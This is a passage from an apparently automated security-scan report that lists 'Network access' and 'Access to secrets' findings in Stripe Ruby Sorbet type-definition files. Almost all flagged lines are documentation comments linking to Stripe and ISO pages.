    #     # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our     # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts
  • Network accessline 1231
    # To update your own account, use the [Dashboard](https://dashboard.stripe.com/settings/account). Refer to our
  • Network accessline 1232
    # [Connect](https://docs.stripe.com/docs/connect/updating-accounts) documentation to learn more about updating accounts.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/account_link.rbi

  • Network accessline 7
    # Stripe-hosted applications, such as Connect Onboarding.   #   # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding)
  • Network accessline 8
    #   # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding)   class AccountLink < APIResource
  • Network accessline 9
    # Related guide: [Connect Onboarding](https://docs.stripe.com/connect/custom/hosted-onboarding)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/account_session.rbi

  • Network accessline 10
    # quickly, and cannot be used more than once.   #   # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components)
  • Network accessline 11
    #   # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components)   class AccountSession < APIResource
  • Network accessline 12
    # Related guide: [Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components)
  • Network accessline 666
    # The client secret can be used to provide access to `account` from your frontend. It should not be stored, logged, or exposed to anyone other than the connected account. Make sure that you have TLS enabled on any page that includes the cli
  • Network accessline 667
    #     # Refer to our docs to [setup Connect embedded components](https://docs.stripe.com/connect/get-started-connect-embedded-components) and learn about how `client_secret` should be handled.     sig { returns(String) }
  • Network accessline 668
    [Credential-related source omitted]
  • Access to secretsline 668
    [Credential-related source omitted]
  • Access to secretsline 670
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/application_fee.rbi

  • Network accessline 43
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 44
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 45
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/application_fee_refund.rbi

  • Network accessline 8
    # the Stripe account from which the fee was originally collected.   #   # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee)
  • Network accessline 9
    #   # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee)   class ApplicationFeeRefund < APIResource
  • Network accessline 10
    # Related guide: [Refunding application fees](https://docs.stripe.com/connect/destination-charges#refunding-app-fee)
  • Network accessline 19
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 20
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 21
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 28
    sig { returns(String) }     def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 29
    def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilable(T:
  • Network accessline 30
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/apps/secret.rbi

  • Network accessline 13
    # A `user` scoped secret is accessible by the app backend and one specific Dashboard user. Use the `user` scope for per-user secrets like per-user OAuth tokens, where different users might have different permissions.     #     # Related gui
  • Network accessline 14
    #     # Related guide: [Store data between page reloads](https://docs.stripe.com/stripe-apps/store-auth-data-custom-objects)     class Secret < APIResource
  • Network accessline 15
    # Related guide: [Store data between page reloads](https://docs.stripe.com/stripe-apps/store-auth-data-custom-objects)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/balance.rbi

  • Network accessline 9
    # The top-level `available` and `pending` comprise your "payments balance."   #   # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/c
  • Network accessline 10
    #   # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/connect/account-balances)   class Balance < SingletonAPIResource
  • Network accessline 11
    # Related guide: [Balances and settlement time](https://docs.stripe.com/payments/balances), [Understanding Connect account balances](https://docs.stripe.com/connect/account-balances)
  • Network accessline 13
    class Available < ::Stripe::StripeObject       class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 14
    class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).         sig { returns(T.nilable(Integer)) }
  • Network accessline 15
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 16
    sig { returns(T.nilable(Integer)) }         def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 17
    def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).         sig { returns(T.nilable(Integer)) }
  • Network accessline 18
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 19
    sig { returns(T.nilable(Integer)) }         def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 20
    def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.         sig { returns(T.nilable(Integer)) }
  • Network accessline 21
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 32
    sig { returns(Integer) }       def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 33
    def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 34
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 47
    class ConnectReserved < ::Stripe::StripeObject       class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 48
    class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).         sig { returns(T.nilable(Integer)) }
  • Network accessline 49
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 50
    sig { returns(T.nilable(Integer)) }         def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 51
    def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).         sig { returns(T.nilable(Integer)) }
  • Network accessline 52
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 53
    sig { returns(T.nilable(Integer)) }         def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 54
    def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.         sig { returns(T.nilable(Integer)) }
  • Network accessline 55
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 66
    sig { returns(Integer) }       def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 67
    def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 68
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 82
    class NetAvailable < ::Stripe::StripeObject         class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 83
    class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).           sig { returns(T.nilable(Integer)) }
  • Network accessline 84
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 85
    sig { returns(T.nilable(Integer)) }           def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 86
    def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).           sig { returns(T.nilable(Integer)) }
  • Network accessline 87
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 88
    sig { returns(T.nilable(Integer)) }           def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 89
    def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.           sig { returns(T.nilable(Integer)) }
  • Network accessline 90
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 115
    end       class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 116
    class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).         sig { returns(T.nilable(Integer)) }
  • Network accessline 117
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 118
    sig { returns(T.nilable(Integer)) }         def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 119
    def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).         sig { returns(T.nilable(Integer)) }
  • Network accessline 120
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 121
    sig { returns(T.nilable(Integer)) }         def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 122
    def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.         sig { returns(T.nilable(Integer)) }
  • Network accessline 123
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 134
    sig { returns(Integer) }       def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 135
    def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 136
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 153
    class Available < ::Stripe::StripeObject         class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 154
    class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).           sig { returns(T.nilable(Integer)) }
  • Network accessline 155
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 156
    sig { returns(T.nilable(Integer)) }           def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 157
    def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).           sig { returns(T.nilable(Integer)) }
  • Network accessline 158
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 159
    sig { returns(T.nilable(Integer)) }           def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 160
    def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.           sig { returns(T.nilable(Integer)) }
  • Network accessline 161
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 172
    sig { returns(Integer) }         def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 173
    def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 174
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 197
    class Pending < ::Stripe::StripeObject       class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 198
    class SourceTypes < ::Stripe::StripeObject         # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).         sig { returns(T.nilable(Integer)) }
  • Network accessline 199
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 200
    sig { returns(T.nilable(Integer)) }         def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 201
    def bank_account; end         # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).         sig { returns(T.nilable(Integer)) }
  • Network accessline 202
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 203
    sig { returns(T.nilable(Integer)) }         def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 204
    def card; end         # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.         sig { returns(T.nilable(Integer)) }
  • Network accessline 205
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 216
    sig { returns(Integer) }       def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 217
    def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 218
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 232
    class Available < ::Stripe::StripeObject         class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 233
    class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).           sig { returns(T.nilable(Integer)) }
  • Network accessline 234
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 235
    sig { returns(T.nilable(Integer)) }           def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 236
    def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).           sig { returns(T.nilable(Integer)) }
  • Network accessline 237
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 238
    sig { returns(T.nilable(Integer)) }           def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 239
    def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.           sig { returns(T.nilable(Integer)) }
  • Network accessline 240
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 251
    sig { returns(Integer) }         def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 252
    def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 253
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 266
    class Pending < ::Stripe::StripeObject         class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 267
    class SourceTypes < ::Stripe::StripeObject           # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).           sig { returns(T.nilable(Integer)) }
  • Network accessline 268
    # Amount coming from [legacy US ACH payments](https://docs.stripe.com/ach-deprecated).
  • Network accessline 269
    sig { returns(T.nilable(Integer)) }           def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 270
    def bank_account; end           # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).           sig { returns(T.nilable(Integer)) }
  • Network accessline 271
    # Amount coming from most payment methods, including cards as well as [non-legacy bank debits](https://docs.stripe.com/payments/bank-debits).
  • Network accessline 272
    sig { returns(T.nilable(Integer)) }           def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 273
    def card; end           # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.           sig { returns(T.nilable(Integer)) }
  • Network accessline 274
    # Amount coming from [FPX](https://docs.stripe.com/payments/fpx), a Malaysian payment method.
  • Network accessline 285
    sig { returns(Integer) }         def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 286
    def amount; end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 287
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 311
    end     end     # Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the availa
  • Network accessline 312
    end     # Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the available bala
  • Network accessline 313
    # Available funds that you can transfer or pay out automatically by Stripe or explicitly through the [Transfers API](https://api.stripe.com#transfers) or [Payouts API](https://api.stripe.com#payouts). You can find the available balance for 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/balance_settings.rbi

  • Network accessline 28
    sig { returns(T.nilable(T::Hash[String, Integer])) }         def minimum_balance_by_currency; end         # Details on when funds from charges are available, and when they are paid out to an external account. See our [Setting Bank and Debit
  • Network accessline 29
    def minimum_balance_by_currency; end         # Details on when funds from charges are available, and when they are paid out to an external account. See our [Setting Bank and Debit Card Payouts](https://docs.stripe.com/connect/bank-transfers
  • Network accessline 30
    # Details on when funds from charges are available, and when they are paid out to an external account. See our [Setting Bank and Debit Card Payouts](https://docs.stripe.com/connect/bank-transfers#payout-information) documentation for detail

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/balance_transaction.rbi

  • Network accessline 7
    # Stripe creates them for every type of transaction that enters or leaves your Stripe account balance.   #   # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types)
  • Network accessline 8
    #   # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types)   class BalanceTransaction < APIResource
  • Network accessline 9
    # Related guide: [Balance transaction types](https://docs.stripe.com/reports/balance-transaction-types)
  • Network accessline 16
    sig { returns(T.nilable(String)) }       def application; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 17
    def application; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 18
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 44
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 45
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 46
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 68
    sig { returns(String) }     def object; end     # Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective.
  • Network accessline 69
    def object; end     # Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective.     sig { returns(String) }
  • Network accessline 70
    # Learn more about how [reporting categories](https://stripe.com/docs/reports/reporting-categories) can help you understand balance transactions from an accounting perspective.
  • Network accessline 79
    sig { returns(String) }     def status; end     # Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund
  • Network accessline 80
    def status; end     # Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund`, `connect_collection_trans
  • Network accessline 81
    # Transaction type: `adjustment`, `advance`, `advance_funding`, `anticipation_repayment`, `application_fee`, `application_fee_refund`, `charge`, `climate_order_purchase`, `climate_order_refund`, `connect_collection_transfer`, `contribution`

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/bank_account.rbi

  • Network accessline 6
    # These bank accounts are payment methods on `Customer` objects.   #   # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer
  • Network accessline 7
    #   # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer   # destinations on `Account` objects for connected accounts.
  • Network accessline 8
    # On the other hand [External Accounts](https://docs.stripe.com/api#external_accounts) are transfer
  • Network accessline 10
    # They can be bank accounts or debit cards as well, and are documented in the links above.   #   # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers)
  • Network accessline 11
    #   # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers)   class BankAccount < APIResource
  • Network accessline 12
    # Related guide: [Bank debits and transfers](https://docs.stripe.com/payments/bank-debits-transfers)
  • Network accessline 107
    sig { returns(String) }     def country; end     # Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account.
  • Network accessline 108
    def country; end     # Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account.     sig { returns(String) }
  • Network accessline 109
    # Three-letter [ISO code for the currency](https://stripe.com/docs/payouts) paid out to the bank account.
  • Network accessline 119
    sig { returns(T.nilable(String)) }     def fingerprint; end     # Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs 
  • Network accessline 120
    def fingerprint; end     # Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when.     sig {
  • Network accessline 121
    # Information about the [upcoming new requirements for the bank account](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when.
  • Network accessline 128
    sig { returns(String) }     def last4; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 129
    def last4; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nilable
  • Network accessline 130
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 140
    sig { returns(T.nilable(String)) }     def routing_number; end     # For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn
  • Network accessline 141
    def routing_number; end     # For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn't had any activity or validation perfo
  • Network accessline 142
    # For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn't had any activity or validation performed is `new`. If Stripe can
  • Network accessline 143
    #     # For external accounts, possible values are `new`, `errored`, `verification_failed`, and `tokenized_account_number_deactivated`. If a payout fails, the status is set to `errored` and scheduled payouts are stopped until account detail
  • Network accessline 144
    # For external accounts, possible values are `new`, `errored`, `verification_failed`, and `tokenized_account_number_deactivated`. If a payout fails, the status is set to `errored` and scheduled payouts are stopped until account details are 

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/alert.rbi

  • Network accessline 59
    sig { returns(String) }       def title; end       # Encapsulates configuration of the alert to monitor usage on a specific [Billing Meter](https://docs.stripe.com/api/billing/meter).
  • Network accessline 60
    def title; end       # Encapsulates configuration of the alert to monitor usage on a specific [Billing Meter](https://docs.stripe.com/api/billing/meter).       sig { returns(T.nilable(UsageThreshold)) }
  • Network accessline 61
    # Encapsulates configuration of the alert to monitor usage on a specific [Billing Meter](https://docs.stripe.com/api/billing/meter).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/credit_balance_summary.rbi

  • Network accessline 10
    class AvailableBalance < ::Stripe::StripeObject           class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency]
  • Network accessline 11
    class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { re
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 38
    class LedgerBalance < ::Stripe::StripeObject           class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](ht
  • Network accessline 39
    class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { re
  • Network accessline 40
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/credit_balance_transaction.rbi

  • Network accessline 10
    class Amount < ::Stripe::StripeObject           class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s
  • Network accessline 11
    class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { re
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 72
    class Amount < ::Stripe::StripeObject           class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s
  • Network accessline 73
    class Monetary < ::Stripe::StripeObject             # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).             sig { re
  • Network accessline 74
